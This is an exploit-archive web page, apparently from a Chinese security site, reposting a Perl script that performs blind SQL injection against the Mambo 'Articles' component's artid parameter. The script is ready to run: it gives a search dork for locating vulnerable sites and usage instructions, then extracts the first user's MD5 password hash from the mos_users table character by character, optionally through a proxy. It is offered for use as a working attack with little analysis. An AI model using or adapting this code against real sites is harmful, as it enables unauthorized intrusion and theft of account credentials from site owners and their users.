首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mambo Component Articles (artid) Blind SQL Injection Exploit
来源:www.antichat.ru 作者:MustD!e 发布时间:2008-06-26  
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
print " \n";
print " #######################################################################\n";
print "  #   Mambo Component Articles Blind SQL Injection Exploit #\n";
print "  #   Author:Ded MustD!e [www.antichat.ru] #\n";
print "  # #\n";
print "  #   Dork :   inurl:option=articles artid #\n";
print "  #   Usage:   perl exploit.pl host path <options> #\n";
print "  #   Example: perl exploit.pl www.host.com /joomla/ -a 2 #\n";
print "  # #\n";
print "  #   Options: #\n";
print "  #     -a   valid Article id #\n";
print " #######################################################################\n";
exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
$userid = $options{"u"};
}

if($options{"a"})
{
$aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
   if(istrue2($host, $path, $userid, $aid, $i, $h))
   {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
}
if(!$f)
{
   $h = 97;
   while(!$f && $h <= 122)
   {
     if(istrue2($host, $path, $userid, $aid, $i, $h))
     {
       $f = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
}
}

print "\n[~] Exploiting done\n";

sub istrue2
{
my $host  = shift;
my $path  = shift;
my $uid   = shift;
my $aid   = shift;
my $i     = shift;
my $h     = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host.$path."index.php?option=articles&task=viewarticle&artid=".$aid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1),".$i.",1))=".$h."";

if($options{"p"})
{
   $ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "Back";

if($content =~ /$regexp/)
{
   return 1;
}
else
{
   return 0;
}

}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TOKOKITA (barang.php produk_id
·Demo4 CMS 1b (fckeditor) Arbit
·PHPmotion <= 2.0 (update_profi
·cmsWorks 2.2 RC4 (fckeditor) R
·PHPmotion <= 2.0 (update_profi
·Seagull PHP Framework <= 0.6.4
·uTorrent / BitTorrent WebIU H
·XnView 1.93.6 for Windows .taa
·IGSuite 3.2.4 (reverse shell)
·Joomla Component Xe webtv (id)
·vc6.0栈溢出
·BareNuked CMS 1.1.0 Arbitrary
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved